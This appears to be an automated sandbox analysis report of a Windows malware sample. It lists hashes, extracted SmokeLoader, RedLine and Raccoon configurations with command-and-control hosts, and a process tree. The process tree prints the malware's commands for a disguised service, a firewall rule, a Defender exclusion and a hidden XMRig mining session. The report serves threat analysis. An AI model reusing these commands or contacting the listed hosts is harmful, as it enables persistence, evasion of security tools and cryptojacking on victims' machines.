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Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    29/09/2021, 03:16

General

  • Target

    8fc231b273bce371d521d8ce5283aa6a.exe

  • Size

    234KB

  • MD5

    8fc231b273bce371d521d8ce5283aa6a

  • SHA1

    4edb2f91be0120c3fa3fad07e295b1cd3bbd381b

  • SHA256

    b286cfb96b929e11071196a5a8e41b50c8adf29a0e46963e2842f7b19b7f2da5

  • SHA512

    5299b8c987407efbadfb41f088b498cfb1d508d5f5a1f8d28bc608184d6270e2995a8bfbc0401d8e012adf54e06ee5f9f7e2fb465bd22a36ea47f688e8333c28

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

777777

C2

193.56.146.60:18243

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Nirsoft 7 IoCs
  • XMRig Miner Payload 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 21 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 11 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8fc231b273bce371d521d8ce5283aa6a.exe
    "C:\Users\Admin\AppData\Local\Temp\8fc231b273bce371d521d8ce5283aa6a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Users\Admin\AppData\Local\Temp\8fc231b273bce371d521d8ce5283aa6a.exe
      "C:\Users\Admin\AppData\Local\Temp\8fc231b273bce371d521d8ce5283aa6a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1120
  • C:\Users\Admin\AppData\Local\Temp\275D.exe
    C:\Users\Admin\AppData\Local\Temp\275D.exe
    1⤵
    • Executes dropped EXE
    PID:832
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 832 -s 700
      2⤵
      • Loads dropped DLL
      • Program crash
      PID:1064
  • C:\Users\Admin\AppData\Local\Temp\2B64.exe
    C:\Users\Admin\AppData\Local\Temp\2B64.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lfduurpj\
      2⤵
        PID:1824
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ejfxvyk.exe" C:\Windows\SysWOW64\lfduurpj\
        2⤵
          PID:1668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lfduurpj binPath= "C:\Windows\SysWOW64\lfduurpj\ejfxvyk.exe /d\"C:\Users\Admin\AppData\Local\Temp\2B64.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1556
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description lfduurpj "wifi internet conection"
            2⤵
              PID:1472
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start lfduurpj
              2⤵
                PID:288
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2040
              • C:\Users\Admin\AppData\Local\Temp\3F33.exe
                C:\Users\Admin\AppData\Local\Temp\3F33.exe
                1⤵
                • Executes dropped EXE
                PID:1048
              • C:\Users\Admin\AppData\Local\Temp\42AD.exe
                C:\Users\Admin\AppData\Local\Temp\42AD.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Windows security modification
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1840
                • C:\Users\Admin\AppData\Local\Temp\ec290798-b8f6-4c53-8e52-db6604c6685e\AdvancedRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\ec290798-b8f6-4c53-8e52-db6604c6685e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\ec290798-b8f6-4c53-8e52-db6604c6685e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1204
                  • C:\Users\Admin\AppData\Local\Temp\ec290798-b8f6-4c53-8e52-db6604c6685e\AdvancedRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\ec290798-b8f6-4c53-8e52-db6604c6685e\AdvancedRun.exe" /SpecialRun 4101d8 1204
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:624
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\42AD.exe" -Force
                  2⤵
                    PID:1084
                  • C:\Users\Admin\AppData\Local\Temp\42AD.exe
                    "C:\Users\Admin\AppData\Local\Temp\42AD.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:1180
                • C:\Windows\SysWOW64\lfduurpj\ejfxvyk.exe
                  C:\Windows\SysWOW64\lfduurpj\ejfxvyk.exe /d"C:\Users\Admin\AppData\Local\Temp\2B64.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1708
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1912
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:820
                  • C:\Users\Admin\AppData\Local\Temp\5CC3.exe
                    C:\Users\Admin\AppData\Local\Temp\5CC3.exe
                    1⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Enumerates connected drives
                    • Modifies system certificate store
                    • Suspicious use of AdjustPrivilegeToken
                    PID:796
                    • C:\Windows\SysWOW64\msiexec.exe
                      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management 1.7.3.2\install\97C955F\adv.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\5CC3.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632885194 " AI_EUIMSI=""
                      2⤵
                      • Blocklisted process makes network request
                      • Enumerates connected drives
                      • Suspicious use of FindShellTrayWindow
                      PID:1756
                  • C:\Users\Admin\AppData\Local\Temp\63C6.exe
                    C:\Users\Admin\AppData\Local\Temp\63C6.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1472
                  • C:\Windows\system32\msiexec.exe
                    C:\Windows\system32\msiexec.exe /V
                    1⤵
                    • Blocklisted process makes network request
                    • Enumerates connected drives
                    • Drops file in Windows directory
                    • Suspicious use of AdjustPrivilegeToken
                    PID:688
                    • C:\Windows\syswow64\MsiExec.exe
                      C:\Windows\syswow64\MsiExec.exe -Embedding C1C0D0CF202E5FA8DF05F86EAA298786 C
                      2⤵
                      • Loads dropped DLL
                      PID:1160
                    • C:\Windows\syswow64\MsiExec.exe
                      C:\Windows\syswow64\MsiExec.exe -Embedding A0DB5ED046C1B2278538A4DCD917DC49
                      2⤵
                      • Loads dropped DLL
                      PID:1560
                    • C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe
                      "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe"
                      2⤵
                      • Executes dropped EXE
                      • Drops startup file
                      • Loads dropped DLL
                      PID:1132

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/688-114-0x000007FEFBA11000-0x000007FEFBA13000-memory.dmp

                    Filesize

                    8KB

                  • memory/756-68-0x0000000000220000-0x0000000000233000-memory.dmp

                    Filesize

                    76KB

                  • memory/756-69-0x0000000000400000-0x000000000043E000-memory.dmp

                    Filesize

                    248KB

                  • memory/820-180-0x0000000000080000-0x0000000000171000-memory.dmp

                    Filesize

                    964KB

                  • memory/832-63-0x0000000000280000-0x00000000002B6000-memory.dmp

                    Filesize

                    216KB

                  • memory/832-64-0x0000000000400000-0x0000000000457000-memory.dmp

                    Filesize

                    348KB

                  • memory/1048-84-0x00000000011F0000-0x00000000015F2000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/1048-85-0x0000000000400000-0x0000000000C64000-memory.dmp

                    Filesize

                    8.4MB

                  • memory/1064-187-0x00000000004E0000-0x00000000004E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1084-141-0x00000000023D0000-0x000000000301A000-memory.dmp

                    Filesize

                    12.3MB

                  • memory/1084-148-0x00000000023D0000-0x000000000301A000-memory.dmp

                    Filesize

                    12.3MB

                  • memory/1084-139-0x00000000023D0000-0x000000000301A000-memory.dmp

                    Filesize

                    12.3MB

                  • memory/1120-55-0x0000000075951000-0x0000000075953000-memory.dmp

                    Filesize

                    8KB

                  • memory/1120-53-0x0000000000400000-0x0000000000409000-memory.dmp

                    Filesize

                    36KB

                  • memory/1132-56-0x0000000000020000-0x0000000000029000-memory.dmp

                    Filesize

                    36KB

                  • memory/1180-140-0x0000000001160000-0x0000000001161000-memory.dmp

                    Filesize

                    4KB

                  • memory/1180-133-0x0000000000400000-0x0000000000422000-memory.dmp

                    Filesize

                    136KB

                  • memory/1180-130-0x0000000000400000-0x0000000000422000-memory.dmp

                    Filesize

                    136KB

                  • memory/1420-57-0x00000000025D0000-0x00000000025E6000-memory.dmp

                    Filesize

                    88KB

                  • memory/1472-153-0x0000000000220000-0x00000000002B0000-memory.dmp

                    Filesize

                    576KB

                  • memory/1472-154-0x0000000000400000-0x0000000000493000-memory.dmp

                    Filesize

                    588KB

                  • memory/1708-93-0x0000000000400000-0x000000000043E000-memory.dmp

                    Filesize

                    248KB

                  • memory/1840-97-0x0000000005110000-0x0000000005189000-memory.dmp

                    Filesize

                    484KB

                  • memory/1840-88-0x0000000004C50000-0x0000000004C51000-memory.dmp

                    Filesize

                    4KB

                  • memory/1840-82-0x00000000011C0000-0x00000000011C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1912-90-0x0000000000080000-0x0000000000095000-memory.dmp

                    Filesize

                    84KB